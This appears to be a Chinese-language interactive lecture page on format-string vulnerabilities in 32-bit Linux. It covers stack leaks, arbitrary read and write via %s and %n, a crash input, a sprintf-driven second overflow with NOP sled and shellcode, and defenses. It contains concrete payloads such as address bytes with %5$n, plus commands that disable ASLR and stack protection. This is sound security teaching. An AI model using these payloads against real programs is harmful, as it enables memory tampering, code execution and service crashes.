SECLAB/FMT-STRING
00 · 先搞懂一句话
0% TEACHING EDITION

SOFTWARE SECURITY / LECTURE 02-2 / EXPLOIT NOTES

格式化字符串漏洞

FORMAT-STRING EXPLOITATION / 从「看不懂 %n」到「能自己算 payload」

printf 的第一个参数不是要打印的文字,而是一段程序。当这段程序来自用户输入,攻击者就拿到了读取栈、泄露内存、任意写地址的能力。

32-BIT X86 LINUX / CDECL GLIBC VFPRINTF 14 SECTIONS
3级危害升级:泄露 → 读 → 写
7个可交互教具,动手验证结论
8道自测题,检查迁移能力
UNTRUSTED FORMAT STRING
sec-lab ~ ./log_client LIVE OUTPUT
printf(user) 把用户输入当成格式程序执行;这不是“显示问题”,是控制流与内存问题。

ATTACK CHAIN / 学习路线

这条攻击链,五步走完

每一节先给结论,再拆原理,然后用教具验证。读完后你应该能独立完成一次读写实验。

01 / MODEL

建立模型

格式串是程序,参数是栈上的数据。两者混在一起,漏洞发生。

02 / LEAK

泄露栈

参数不够时,printf 顺着栈继续取,静默打印别人的数据。

03 / READ

任意读

把地址塞进格式串,用 %s 或 %M$s 读取任意可读内存。

04 / WRITE

任意写

%n 把“已输出字符数”写入地址;宽度控制数值。

05 / EXPLOIT

实战与防御

改 secret、触发二次溢出;用正确写法与缓解机制收口。

学习目标 ①解释 printf(user) 为什么危险 ②手动算出 %5$n 中的数值 ③独立完成 qiang 的任意读 / 任意写 ④说清 Canary / ASLR / DEP 各自挡什么
00
00Mental Model

先搞懂一句话

printf 的第一个参数不是「要打印的文字」,而是一段「程序」。这一节先把地基打牢,后面所有利用都从这句话长出来。

!One Sentence

% 是指令,不是普通字符。%d 的意思是“去栈上取 4 个字节,当整数打印”。printf 在执行时完全不知道你传了几个参数——它只是一边读这段“程序”,一边从栈上按顺序取。

0.1 先看正常情况:% 是「指令」,不是文字NORMAL CASE

先建立一个正确认知。下面这段代码里,格式串有 3 个 % 指令,后面正好给了 3 个参数:

demo0OUTPUT
$ gcc -m32 demo0.c -o demo0 && ./demo0
[1] Number 5 has no address, number 10 has: 0xbfffebf4
[2] 折扣 100%
  • 第 [1] 行:格式串里有 3 个指令(%d、%d、%08x),后面正好 3 个参数(i、a、&a)——一一对应,正确。
  • 第 [2] 行:%% 不是“取参数”,而是转义,表示“我就要打印一个百分号”。这从侧面证明:% 在格式串里是特殊字符,不是普通文字。

0.2 关键问题:printf 知不知道你传了几个参数?NO COUNT

×Core Fact

不知道。一个字都不知道。看它的声明:int printf(const char *format, ...);——那个 ... 叫可变参数。编译后的机器码里既没有参数个数,也没有参数类型,只有一串连续的 4 字节值躺在栈上。

printf 唯一的信息来源,就是 format 这个字符串本身。

glibc 里真正干活的是 vfprintf。把它简化成一个能读懂的模型,核心只有一个动作:按格式串的要求,从参数指针 ap 指向的位置取走 4 字节,然后把 ap 往后挪 4。

i读法

va_arg(ap, 类型) 就是:从 ap 现在指着的地方取走 4 个字节,然后 ap 往后挪 4。它没有任何“还剩几个参数”的检查。循环完全由格式串里的 % 驱动——格式串说要 5 个,它就取 5 个;你一个都没传,它也照取不误。

0.3 用代码亲眼看一次「不匹配」MISMATCH

多给参数和少给参数,后果完全不同。先看现象:

demo1OUTPUT
[A] 1                    ← 多余的 2、3 被安静地忽略,无害
[B] 1 2 134520896          ← 第三个是“借”来的栈上垃圾,每次运行都可能不同
!易错点

多给参数无害,少给参数才泄露。注意 [B]:它没有报错、没有崩溃,只是老实巴交地把栈上紧跟着的 4 个字节打印了出来。这就是信息泄露,而且是完全静默的。

严格说这属于 C 语言的未定义行为(UB),但现实中它稳定地“读出栈上后面的内容”,所以可以被稳定利用。

0.4 漏洞现场:格式串来自用户THE BUG

前面讨论的都是“程序员写死格式串”的情况。真正的漏洞长这样——代码把 user 当成了格式串:

demo2OUTPUT
[LOG] alice
[LOG] bfffebf4.0000000a.00000005.08048568   ← 栈上的内存被打印出来了
[LOG] Segmentation fault (core dumped)      ← 进程挂了

三行输出的差别,只在于 user 的内容——代码一行没改。这就是漏洞的本质:攻击者获得了“写 printf 指令”的权力。

✓Fix

修复只有一句:格式串必须是程序员写死的常量,用户输入永远只当数据。

printf("%s", user);   /* 现在 user 里的 '%' 只是普通字符,永远不会被当成指令 */

为什么这就安全了?因为 printf 拿到的格式串是常量 "%s",里面只有一条指令“取一个字符串参数并打印”,user 是被打印的数据,它里面的 %n 只是四个普通字符,不会被二次解析。

0.5 三种危害等级ESCALATION

记住这张表,后面全是它的展开。攻击者能写什么,printf 就替他做什么:

LEVEL 01 / LEAK

信息泄露

把栈上的值读出来打印。可能泄露地址、canary、密码、指针。

%x · %p · %d · %u · %c
LEVEL 02 / READ

任意读 / DoS

把栈上的值当地址,去那个地址读字符串。合法则泄密,非法则崩溃。

%s · %M$s
LEVEL 03 / WRITE

任意写

把“已输出字符数”写进地址。可以改变量、改返回地址,最终拿 shell。

%n · %hn · %hhn
→串起来

因为 printf 不知道参数个数(0.2)→ 它会顺着栈一直往后取(0.3)→ 如果格式串由用户控制(0.4),用户就能指定“取什么、按什么方式解释”→ 于是从看到读再到写,一步步升级(0.5)。

0.6 危险函数清单DANGEROUS API

凡是有“格式串”三个字的函数都算。关键是:用户输入有没有被放进 format 参数的位置。

☠ 危险写法✅ 安全写法
printf(user)printf("%s", user)
fprintf(stderr, user)fprintf(stderr, "%s", user)
sprintf(buf, user)snprintf(buf, sizeof(buf), "%s", user)
syslog(LOG_INFO, user)syslog(LOG_INFO, "%s", user)
err(1, user) / warn(user)err(1, "%s", user) / warn("%s", user)

家族成员:printf / fprintf / sprintf / snprintf / vprintf / vfprintf / vsprintf / vsnprintf / syslog / err / warn / errx / warnx / setproctitle…

×别踩这个坑

别以为 snprintf 就安全。它只保证不越界写。写成 snprintf(buf, n, user) 的话,格式串漏洞照样成立——照样能读栈、照样能用 %n 写内存。“限长”和“格式”是两回事。

0.7 动手:这段输入丢进 printf(user) 会怎样?TRY IT

先别急着往下翻。输入一段内容,观察它被解析成哪些“指令”,以及风险来自哪里。

LAB 00 / FORMAT INSPECTOR 输入任意字符串,实时拆解 printf(user) 会执行的指令 LIVE
RISK LEVEL—
输入内容后实时分析。

观察任务:把 %s 改成 %n,风险为什么直接跳满?再把 %% 放进去,它为什么是安全的?

✓编译器能帮你抓

gcc -Wformat -Wformat-security -D_FORTIFY_SOURCE=2 会对 printf(user) 这种“非字面量格式串”直接报警告;加上 -Werror=format-security 可以把它变成编译错误。这是最省钱的防御。

RECAP / 00

格式串是程序,参数是栈上的数据。当程序和数据混在一起,用户就能借 printf 的口,读取甚至改写进程的内存。记住这句话,后面的栈布局、任意读、任意写都只是它的推论。

01
01Execution

printf 到底怎么干活

逐字符扫描,遇到 % 就取参数;扫完就结束,从不回头核对数量。理解了这台“取数机器”,所有说明符的行为都能推出来。

1.1 主循环只有三件事SCAN LOOP

  1. 读到普通字符(N、u、m…)→ 原样复制到输出缓冲区。
  2. 读到 % → 看后面的字母决定“这次要取一个什么类型的参数”,然后从当前参数指针位置取走 4 字节,参数指针往后挪一格。
  3. 格式串扫完 → 结束。它不会回头检查你到底给了几个参数。
i一句话记法

% = 从栈上取 4 字节;后面的字母 = 把这 4 字节怎么解释;n 特殊——它不打印,而是写回。

1.2 说明符速查SPECIFIERS

下表按“对栈做了什么”来记,比背语法更重要。风险列对应 0.5 的三级危害。

写法含义从栈上取了什么风险
%d / %i有符号十进制整数4 字节,当整数打印LEAK
%u无符号十进制4 字节,当无符号整数打印LEAK
%x / %08x十六进制(08 = 不足 8 位左边补 0)4 字节,按十六进制打印LEAK
%p指针(十六进制)4 字节,按指针格式打印LEAK
%c字符4 字节,只输出最低 1 字节对应的 ASCII 字符LEAK
%s字符串4 字节当地址,去那个地址读到 \0 为止READ
%n不输出,反而写入4 字节当地址,把“已输出字符总数”写进去WRITE
%10d宽度 10不够 10 位左边补空格;超过按实际位数—
%2$d位置参数直接取第 2 个参数(跳过中间的)—
%hn / %hhn半字 / 单字节写入写 2 字节 / 1 字节(实战常用,见第 6 节)WRITE

位置参数示例:printf("%2$d", 10, 20, 30) → 输出 20。它不改变“每个 % 都要从栈上取数”的本质,只是把“取第几个”写死了。

!易错点

表格里有一行写错了会很危险:%n 不产生输出。它不会在屏幕上留下痕迹,却会把数值写进内存。调试时如果你只盯着输出,很容易漏掉它。

RECAP / 01

printf 是一台只认格式串的取数机器。普通字符直接复制;每遇到一个转换说明符,就从栈上取 4 字节,按字母解释。没有数量检查,也没有类型检查。

02
02Stack Layout

参数到底在栈的哪里

cdecl 从右往左压参数,call 再压返回地址。只要记住这个顺序,进 printf 时的栈布局就完全可预测——后面所有“第几个参数”的算术都从这里来。

x86 32 位 + cdecl:参数从右往左依次 push,然后 call 把返回地址压进去。每个格子 4 字节,栈向低地址生长。下面这张图就是 printf(fmt, i, a, &a) 进入 printf 后的样子。

LAB 01 / PUSH ORDER 一步步压栈,看清“从右往左”到底长什么样 INTERACTIVE
观察任务先猜:最先压入的 &a,最后在内存的哪个位置?点“压入下一个”验证你的直觉。

当前动作

等待第 1 次 push…

栈从高地址向低地址生长;esp 始终指向当前栈顶。先压入的参数地址更高。

压栈结束后的顺序,从高地址到低地址是:&a → a → i → fmt → RET。所以 参数 #1(i)紧挨着格式串,printf 的 va_list 就从 fmt 的下一个格子开始,一路往高地址走。

!课件里那个“?”

0xbfffebe8 为什么不等于 0xbfffebf4?

这俩是两码事:0xbfffebf4 是 main 里局部变量 a 的真实地址(也就是 &a 这个值);0xbfffebe8 是 printf 参数区里“存放 &a 这一格”的地址。

你在 gdb 里 x/wx 0xbfffebe8,看到的内容正是 0xbfffebf4。就像“抽屉的编号”和“抽屉里放的钥匙”不是一回事。

i读栈图的三件事

① 高地址在上,低地址在下。栈向低地址生长,push 会让 esp 往下走。
② 每格 4 字节。32 位下一个参数 / 一个地址都占一格。
③ 参数 #1 离格式串最近。从 fmt 往下数(往高地址走),依次是 #1、#2、#3……

RECAP / 02

栈的顺序是确定的,所以“第 5 个参数”可以精确指到某一格。格式串里的地址如果能落在第 M 格,%M$s 和 %M$n 就能精确使用它。问题只剩:怎么把地址放上去。

03
03Leak

参数没给够,printf 去哪儿拿?

它不会报错,只会顺着栈继续往上取——取出上一个函数的局部变量、保存的寄存器、某个指针,甚至格式串本身的字节。这就是信息泄露的起点。

先猜再验证格式串是 %d %d %d %d,实际只传了 10, 20。第三个 %d 会打印什么?先想 10 秒,再往下点。
LAB 02 / PRINTF SIMULATOR 单步观察 ap 如何移动,以及“没有参数”的格子会被怎样使用 INTERACTIVE

栈视图 · 高地址在上

FORMAT SCAN—
ap = #1已输出 0 字符
printf 的输出会出现在这里。

点“单步”,观察每次转换说明符如何移动 ap。

演示约定:未映射的地址统一视为不可读;真实进程是否崩溃,取决于该地址是否合法。这里要理解的是“取数不受数量约束”这个机制。

3.1 所以 %08x.%08x.%08x.%08x 输出了什么?READ THE OUTPUT

输出的不是字面量,而是栈上 4 个格子里的值,每个按 8 位十六进制补零打印,例如:

leakOUTPUT
bfffebf4.0000000a.00000005.08048568

↑ 栈上残留的指针    ↑ 局部变量 a     ↑ 局部变量 i     ↑ 代码段地址

这些值看起来像“随机数”,其实是程序运行时真实的内存布局。攻击者拿到它们,就能推算 libc 基址、栈地址、canary 等关键信息。

3.2 为什么格式串本身也会被读到?SELF-READ

格式串在内存里就是一串字节,而且它本身也躺在栈上的某个缓冲区里。字符和字节的对应关系是:

%

0x25

0

0x30

8

0x38

x

0x78

所以当 ap 走到的格子恰好覆盖格式串缓冲区时,printf 会把这些字节当成“数据”打印出来。这听起来只是好玩,但它意味着:攻击者写进格式串的地址字节,也会实实在在落在栈上。下一节的任意读,就靠这个。

!为什么“只泄露一点”也很危险

ASLR 的作用是让地址不可预测。但一次格式化字符串泄露,就能把栈地址、代码地址、甚至 canary 原样交出来。有了这些,Canary、ASLR 的防护会被逐个拆掉。信息泄露不是“轻微问题”,而是后续利用的钥匙。

RECAP / 03

printf 不检查“还有没有参数”。格式串要几个,它就取几个;没有参数的地方,取到的就是栈上别人的数据。这就是静默的信息泄露。

04
04Arbitrary Read

任意读:把地址塞进格式串

攻击者控制不了参数,但能控制格式串本身——而格式串就在栈上。只要把目标地址作为 4 个字节写进格式串,再用 %s 指过去,就能读取任意可读内存。

4.1 任意读需要凑齐两件事TWO INGREDIENTS

① 说明符

%s:把参数当地址

从栈上取 4 字节,把这个值当地址,去那个地址读字符串,直到遇到 \0。

② 地址上栈

把地址写进格式串

格式串(缓冲区)本身就在栈上。把 4 个地址字节写进字符串,就等于把一个 4 字节值放到了栈上。

剩下的问题只有一个:怎么让参数指针正好停在这 4 个字节上? 两种做法——数格子,或者用位置参数直接点格。

4.2 做法一:用 %08x 空转WALK THE STACK

格式串内容 \x1f \x01 \xff \xbf _ %08x . %08x | %s | 栈上效果 [ 0xbfff011f ] [参数1] [参数2] [参数3 = 地址] └──── 空转 2 格,让 ap 走到第 3 格 ────┘
!那个 _ 是干嘛的?

地址占 4 字节,栈按 4 字节对齐读。补 1 个填充字符,让这 4 字节地址正好落在某一格的开头,%s 才会精准取到它。不对齐,读到的地址就歪了。

空转几格不是算出来的,通常先用 AAAA%p|%p|… 探出偏移,再固定 payload。

4.3 做法二:位置参数 %M$sPOSITIONAL

不用数 %08x 的个数,直接说“我要第 M 个参数”:

栈(从参数 #1 开始往上数): [ RET ][ fmt ][ a1 ][ a2 ][ \xaa\xbb\xcc\xdd%3$s ] (1) (2) (3) ← 格式串缓冲区正好落在第 3 格 %3$s → 取第 3 格的 0xddccbbaa 当地址 → 打印该地址处的字符串
✓一句话记法

%M$s = “把我塞进去的第 M 个 4 字节当地址,把那里的字符串打出来”。位置参数只是“移动参数指针”的语法糖,本质和用 %08x 空转完全一样。

4.4 偏移 M 是试出来的,不是算出来的FIND THE OFFSET

格式串缓冲区落在第几格,取决于编译器、栈布局、函数调用链。换台机器可能就变了。标准做法是先用 AAAA 打标,看哪一格输出 0x41414141:

probe-offsetBASH
$ echo -e "\x41\x41\x41\x41%p|%p|%p|%p|%p|%p|%p|%p" | ./target
0x...|0x...|0x...|0x...|0x41414141|0x...|0x...
# 第 5 格出现 0x41414141 → 以后就用 %5$s / %5$n

这个“探偏移”的动作会在第 12 节的主实验里完整走一遍。

4.5 真实案例:读走 Invalid Password!!!CASE

课件里的 payload 是 printf("\x1f\x01\xff\xbf_%08x.%08x.%08x.%08x.%08x|%s|"),最终打印出了内存里的敏感字符串 "Invalid Password!!!"。注意课件特意标了 I n v a → 49 6e 76 61,而实际读成 32 位值时顺序是反的——这是 x86 小端序。

下面这个小教具帮你把“字符顺序”和“小端数值”对上号。改一改输入,观察字节和 dword 的联动:

LAB 03 / LITTLE ENDIAN 内存按字节顺序增长,x86 读成 32 位值时低字节在前 LIVE
内存字节(低→高)
按小端读成 dword0x61766e49

字符按顺序写进内存;x86 把最低地址的字节当成整数的最低字节。

为什么写 payload 时地址字节是反的?

假设目标地址是 0xbfffec88。在字符串里必须依次写 \x88\xec\xff\xbf——最低字节写在最前面。这 4 个字节落在栈上后,printf 按小端读出,才等于 0xbfffec88。

目标值 0xbfffec88 字符串 \x88 \xec \xff \xbf └────── 低地址到高地址 ──────┘
→下一步

%s 已经能读任意可读内存了。把最后一个字母从 s 改成 n,%3$s 就变成 %3$n——从“读”变成“写”。任意读和任意写,只差一个字母。

RECAP / 04

地址放进格式串,再用 %M$s 指过去。M 是试出来的;地址字节按小端序写。任意读的本质,是利用“格式串缓冲区本身就在栈上”这个事实。

05
05Arbitrary Write

核心难点:%n 不是打印,是写入

%n 不产生任何输出。它把“到此处为止,printf 已经输出了多少字符”写进参数指向的地址——32 位下写满 4 个字节。

!Definition

%n 的行为:取 4 字节当地址,把“已输出字符数”写进那个地址。32 位下一次写 4 字节;%hn 写 2 字节;%hhn 写 1 字节。

它最常见的“正常用途”是统计长度,但在漏洞里,它是最直接的任意地址写原语。

5.1 课件里的 canary 例子:一次写 4 字节的代价OVERWRITE

先看一个“看起来只写 1 字节”的误解。下面代码想把 4 个值分别写进 foo[0..3],结果却把紧邻的 canary 踩坏了:

writeOUTPUT
foo:    10204080
canary: 00000041   ← 原来应该是 41 41 41 41
LAB 04 / FOUR-BYTE WRITE 一步步执行四条 %n,观察越界写从哪里开始 INTERACTIVE
观察任务哪一步第一次踩到 canary?写进去的是“一个字节”还是“四个字节”?

内存布局 · foo[4] 紧邻 canary[5]

foo00 00 00 00 canary41 41 41 41 00

canary 的 5 个字节:41 41 41 41 00("AAAA" + 结尾 0)。程序只打印前 4 个。

当前写入

等待第 1 次写入…

每条 printf("%Nu%n", ..., &foo[k]) 都从 foo[k] 开始写 4 字节,而不是 1 字节。

!为什么 canary 变成 00000041?

因为 canary 紧跟在 foo 后面(foo[4] 后面就是 canary[0])。%n 是一次写 4 字节的,不是 1 个字节!

最后一句 printf("%128u%n", &foo[3]) 从 foo[3] 开始写 0x80 00 00 00(小端):foo[3] 被写成 0x80,紧接着的 3 个零字节顺手踩掉了 canary[0..2]。原来 41 41 41 41 00 只剩下 canary[3] = 41,所以打印成 00 00 00 41。

这就是“格式化字符串能越界写”的直观证据。

5.2 把 %n 用到攻击上:任意地址写TO ARBITRARY WRITE

[ RET ][ fmt ][ a1 ][ a2 ][ \xaa\xbb\xcc\xdd%3$n ] (1) (2) (3) └──────────────────────┘ %3$n → 取第 3 格的 0xddccbbaa 当地址 → 往 0xddccbbaa 写入“当前已输出字符数” = 4

这里的“已输出字符数”就是前面那 4 个地址字节本身,所以效果是 *(int*)0xddccbbaa = 4。

→读和写只差一个字母

%3$s 改成 %3$n。读和写用的是同一套“地址塞进格式串 + 移动参数指针”的套路,区别只在最后一个说明符是“读”还是“写”。

RECAP / 05

%n 一次写 4 字节。它把“已输出字符数”写进参数指向的地址。地址来自栈,数量由输出长度控制——所以既能任意写,也能写坏紧邻的内存。

06
06Value Control

写任意数值:用宽度当杠杆

能写还不够,还要能写指定的值。杠杆是宽度修饰符:地址占 4 个字符,%nc 再补 n−1 个,写入值就是 4 + n。

已输出 = 4(地址字节) + 6(%6c 的宽度) = 10 效果 = *(int *)0xddccbbaa = 10
✓通用公式

写入的值 = 地址占的 4 字节 + %nc 里的 n,即 n = 目标值 − 4。如果有前缀(例如程序自动拼上的提示语),还要减去前缀长度。

LAB 05 / PAYLOAD BUILDER 改数值、改偏移,观察 payload 与 n 的联动 LIVE
观察任务把写入值从 0x41 改成 0x42,n 怎么变?再切换 %hn,想想为什么小数值反而写不了。
写入宽度
payload—
LE 字节—
需要补的宽度—
总输出字符—
说明—

6.1 现实问题:要写 0x0804a010 怎么办?LARGE VALUE

这个数等于 134,520,848。要真输出一亿三千万个字符——不现实。真实 exploit 的做法是拆:

  • 用 %hn(写 2 字节)或 %hhn(写 1 字节),把一个 4 字节值拆成 2~4 次写;
  • 每次写的数值变小,输出量可控;
  • n 可以叠加:第二次写时,已输出数已经包含前面的字符,所以第二个值要用“差值”补到目标值。
!为什么小数值反而写不了?

用两次 %hn 写 0x00000041 时,高位是 0x0000。但地址本身已经占掉 8 个字符,输出计数只增不减,不可能先写 0 再写 65。遇到这种值,直接用 %n 或换 %hhn 更实际。

RECAP / 06

写入值由“已输出字符数”决定。地址占 4 字节,宽度补差额;数值太大就拆成 %hn / %hhn,按从小到大写。所有 payload 都以“实际偏移 M”为前提,M 必须探。

07
07Walkthrough

课件上的三道课堂题

把前面的公式代进去,答案自己会浮出来。先遮住解析自己算一遍,再展开对照。

%61c 让输出宽度变成 61,加上最前面地址 \x88\xec\xff\xbf 占的 4 个字符:

已输出字符数 = 4 + 61 = 65

%5$n 把 65 写进第 5 个参数(地址 0xbfffec88)指向的内存。写入 4 字节、小端序:

65 00 00 00  →  0x00000041  →  十进制 65  →  ASCII 'A'

所以 secret 那块内存变成了 0x41,按字符串打印出来就是 "A"。

反过来推:想写 'A'(65),n = 65 − 4 = 61。这就是课件给的 %61c。

"1111" 四个字节的 ASCII 是 31 31 31 31;"11A1" 是 31 31 41 31。

用 %n 一次写 4 字节,得把这 4 字节整体当一个小端 32 位整数看:

内存字节(低→高):  31  31  41  31
写成 dword        : 0x31413131
                  = 3×16⁷ + 1×16⁶ + 4×16⁵ + 1×16⁴ + 3×16³ + 1×16² + 3×16¹ + 1
                  = 826356017

再减去地址本身占掉的 4 个字符:

n = 826356017 − 4 = 826356013

所以 payload 是 echo -e "\x88\xec\xff\xbf%826356013c%5$n"。

两个提醒:① 课件上的 826356013 是已经减过 4 的 n,按展开式严格算 dword 值是 826356017——注意区分“要写的值”和“n”。② 现实中这么大的 n 会输出 8 亿多个字符,不可行;实战用 %hhn 逐字节写,每次最多 255。

程序里只有 %c 和 %n 会被格式化处理;%n 不产生输出,所以屏幕上那个字符只能是 %c 干的。

%c 的行为:从参数指针位置取 4 字节整数,只把最低那个字节当 ASCII 码输出。那 4 字节里恰好是残留数据 0x64:

0x64 = 100 = ASCII 'd'

课件栈图上标的位置 0x64 就是这个残留值(前面跑 echo "AAAA1=%p|2=%p…" 时在栈上留下的痕迹)。printf 不会检查参数是不是垃圾——给它什么,它就打什么。

RECAP / 07

三道题共用一套算术:已输出字符数 = 地址字节 + 补宽;写入值 = 已输出字符数;n 是补宽,不是最终值。把“值”和“n”分清,就不会在考试和实战里写反。

08
08Denial of Service

最省事的攻击:让它崩

不需要布局、不需要地址、不需要 payload——一串 %s 就够。这也是为什么格式化字符串漏洞被归类为“高危”:最低成本就能让服务不可用。

如果 user = "%s%s%s%s%s%s%s":

  1. 每个 %s 都从栈上取 4 字节当地址;
  2. 栈上大部分值不是合法的可读地址(可能是整数、返回地址、随机的栈垃圾);
  3. printf 去访问这些地址 → SIGSEGV,进程崩溃。
crashOUTPUT
$ echo "%s%s%s%s%s%s%s" | ./log_client
[LOG] 0xbfffec10...
Segmentation fault (core dumped)
# 一个输入,零个地址,进程直接退出
✓修复

fprintf(stdout, "%s", user);——让用户输入永远当“数据”,不当“格式”。所有格式化函数都适用同一原则。

!注意边界

并非每个 %s 都会立刻崩溃:如果取到的值恰好是一个合法可读地址,它可能读出一段很长甚至没有 \0 的数据。但只要继续取,落入非法地址只是时间问题。不要用“还没崩”来判断输入无害。

这类测试只应在授权实验环境进行。对真实服务发送类似输入属于攻击行为。

RECAP / 05–08

读:%s 把栈值当地址;写:%n 把计数当地址写进去;数值:用宽度控制计数。三者共用“地址进格式串 + 偏移 M”的骨架。最低成本的 DoS,则只需要几个 %s。

09
09Chain Reaction

进阶:用格式化字符串制造溢出

格式化字符串不只可以读写内存,它还能凭空生成输出。当程序把“限长后的字符串”再次当作格式串,长度检查就形同虚设。

这是 QPOP 2.53 / bftpd 的真实漏洞模式,课件重点讲了。看这段代码:

!两层陷阱

① 里 %400s 确实把 user 截到 400 字符,加上前缀 19 字符 = 419,塞进 512 的 errmsg 没问题。

但 ② 把 errmsg 当成了格式字符串!于是 user 里的 % 又活了过来 → 变成了格式化字符串漏洞。第二层 sprintf 没有长度限制,也没有把 errmsg 当数据。

9.1 算一下怎么溢出THE MATH

errmsg = "Err Wrong command: " (19) + %497d 展开的 497 个字符 = 19 + 497 = 516 个字符(再补结尾 \0) 写进 outbuf[512]: |<---------------- 512 字节缓冲区 ---------------->| | 19 前缀 | 497 个填充字符 | 后面还有地址/NOP/shellcode ...→ ↑ 越过边界,覆盖保存的 ebp / 返回地址

课件用“516 = 512 + 4”做最小示意:仅前缀和 %497d 的展开就已经越过 4 字节,再加上结尾的 \0 和后面的地址 / NOP / shellcode,实际越界更多。关键是:程序员限制的是输入长度,攻击者控制的是展开后的输出长度。

越界之后,payload 里的返回地址指向 NOP 雪橇,CPU 一路滑到 shellcode,变成一次普通栈溢出攻击。

iNOP 雪橇的作用

恶意代码的地址不可能 100% 算准。用一大片 0x90(NOP)铺在 shellcode 前面,只要返回地址落在这一片 NOP 中的任意位置,CPU 就会一路“滑行”到真正的 shellcode,大幅提高命中率。

LAB 06 / NOP SLED 随机投掷一个返回地址,看它落在雪橇上会怎样 INTERACTIVE
观察任务为什么不需要精确跳到 shellcode 的第一个字节?点几次“投掷”,看落点与滑行路径。
点击按钮,随机投掷一个返回地址。绿色格子是 NOP,红色格子是 shellcode。

现实边界:DEP / NX 会让栈不可执行,NOP 雪橇也救不了;这时攻击者会转向 ROP。雪橇解决的是“地址猜不准”,不解决“栈不能执行”。

→这一节最值得记住的

格式化字符串的“宽度”本质上是在凭空生成输出。程序员以为限定了输入长度,其实输出长度被攻击者接管了。审查时不要只看 scanf / fgets 的限制,要看数据最后流向了哪里。

RECAP / 09

限长不等于安全。把“受限输入”再次当格式串,%497d 就能把输出撑过缓冲区,制造二次溢出。格式化字符串是“放大器”,把小的输入变成大的破坏面。

10
10Defense

防御:把格式串钉死

修复只需要一行。Canary、ASLR、DEP 是纵深防御——它们提高利用门槛,但都不能替代“不要拿用户输入当格式串”。

ROOT FIX / 根治

格式串必须是常量

printf("%s", user),或 fputs(user, stdout)。所有可变内容都走参数。

绕过:没有。这是从根上消除漏洞,优先级最高。
RUNTIME / 检测

Canary(栈金丝雀)

在返回地址前放一个随机值,函数返回前检查它有没有被改。挡住“覆盖返回地址”的栈溢出。

绕过:先用格式化串读出 canary,溢出时再原样写回。canary 每次运行随机,难度会陡增。
RUNTIME / 随机化

ASLR(地址空间随机化)

让栈、共享库、堆的地址每次运行都变,硬编码地址失效。

绕过:先 dump 内存泄露基址(例如 libc 基址)再算;但地址下次运行会变,payload 需要重新计算。
课件等级:0 关 / 1 栈与共享库随机(堆不变)/ 2 堆也随机。
RUNTIME / 阻止执行

DEP / NX

把栈标记为不可执行,阻止“在栈上执行 shellcode”。

绕过:改走 ROP——用程序已有的代码片段(gadget)拼出执行链,不往栈上写新代码。

10.1 编译期也能帮忙COMPILER

buildBASH
$ gcc -Wformat -Wformat-security -D_FORTIFY_SOURCE=2 \
      -Werror=format-security -O2 prog.c -o prog

这组选项会对 printf(user) 这类“非字面量格式串”直接报警告;-Werror=format-security 把警告升级为编译错误。它抓不到所有逻辑问题,但能拦住这个最典型的错误。

!别把缓解当修复

snprintf 只解决“写越界”,不解决“格式串被用户控制”。Canary 只保护返回地址,不保护被你用 %n 改掉的普通变量。每种机制都只挡一个面,正确写法才是根治。

RECAP / 10

优先级:正确写法 > 编译期检查 > 运行期缓解。Canary / ASLR / DEP 能提高门槛,但都可以被“先泄露,再绕过”的思路逐个拆掉,所以要叠加使用。

11
11Related Bugs

顺带:溢出家族

格式化字符串不是孤立的漏洞,它属于“越界写”这个大家族。理解四个近亲,能帮你在不同题型里快速定位攻击面。

STACK OVERFLOW

栈溢出(实验环境)

为了能复现,要先把保护关掉:

gcc -fno-stack-protector -z execstack -g -o stack stack.c sudo sysctl -w kernel.randomize_va_space=0 sudo chown root stack && sudo chmod 4755 stack # chown 会清 suid

Task A:gdb 找 buf 地址和 ebp。课件实测差 108,返回地址在 ebp+4 → 偏移 112。
Task B:关掉 ASLR 后栈起始固定,猜 shellcode 地址,用 NOP 雪橇兜底。

SHELLCODE

Shellcode 要干什么

目标:execve("/bin/sh", argv, 0),拿一个 shell。

两条硬约束:① 机器码里不能含 \x00,否则会被 strcpy 截断;② 用 //sh 补到 4 字节对齐。

所以用 xor eax,eax 而不是 mov eax,0;用 push "/bin//sh" 构造字符串。

HEAP OVERFLOW

堆溢出

两个相邻的 malloc 块,buf1 写穿会踩到 buf2 的数据,或者踩到堆块管理头(fd / bk 指针)。

char *buf1 = malloc(16); char *buf2 = malloc(16); while ((*(buf1+i) = getchar()) != EOF) i++; // 无边界

目标是“敏感数据”而非返回地址;踩管理头可劫持 unlink 实现任意写。

BSS OVERFLOW

BSS 溢出

static 变量放在 BSS 段,不在栈上,所以 Canary 管不着。

两种打法:覆盖 static char *tmpfile → 程序去写攻击者指定的文件(如 /etc/passwd);覆盖 static int (*funcptr)(const char*) → 劫持函数指针,直接控制执行流。

11.1 shellcode 逐条拆解SHELLCODE

这段是 32 位 Linux 的 int 0x80 ABI:系统调用号放 eax,参数放 ebx / ecx / edx。64 位下调用号和寄存器不同(例如 execve = 59,使用 syscall),不要混用。

i共同点

栈、堆、BSS、格式化字符串,最终都在做同一件事:写到不该写的地方。区别只是“写什么、写到哪里、由谁触发”。格式化字符串的特殊之处是:它既能读,又能写,还能用宽度凭空放大输出。

RECAP / 11

溢出家族的共同问题是缺少边界。栈溢出改返回地址,堆溢出改管理结构,BSS 溢出改静态指针 / 函数指针;格式化字符串则用 %n 直接写任意地址。

12
12Field Notes

课程代码实战

纸上的地址要变成真的内存,必须自己跑一遍。下面按“准备环境 → 探偏移 → 读写 → 进阶”的顺序走,所有命令都对应课件里的 codes-share-to-class。

12.1 先准备环境(每个实验都要)SETUP

setupBASH
$ sudo sysctl -w kernel.randomize_va_space=0   # 关 ASLR,地址才固定
$ gcc -m32 -fno-stack-protector -z execstack -g -o qiang qiang.c
!只在隔离环境做

关闭 ASLR 是系统级操作,会影响整台机器。请只在自己的虚拟机 / 实验环境执行,不要在生产或共享机器上关闭它。

12.2 代码地图FILE MAP

文件干什么对应课件
formattingString/write.c%n 一次写 4 字节,踩坏 canary“%n” / foo:10204080
formattingString/dumpStack.c一串 %08x 把栈倒出来查看栈中数据
formattingString/test.c\x1f\x01\xff\xbf_%08x.%08x|%s| 任意读任意读
formattingString/qiang.c主实验:任意读 + 任意写 secret课堂答题 1 / 2
formattingString/str_fmt_attack.c真实的“密码错误回显”漏洞内存数据窃取与篡改
formattingString/int_fmt_attack.c改 unsigned int 型 secretprintf("Modify the memory: %n")
formattingString/savedparameters.cgdb 看 printf 参数在栈上的位置补充讲解 / 四个 push
bufferoverflow/stack.c + stack_exploit.py标准栈溢出拿 shellBuffer Overflow 举例
bufferoverflow/shellcode.cexecve("/bin/sh") 的机器码Shellcode 举例

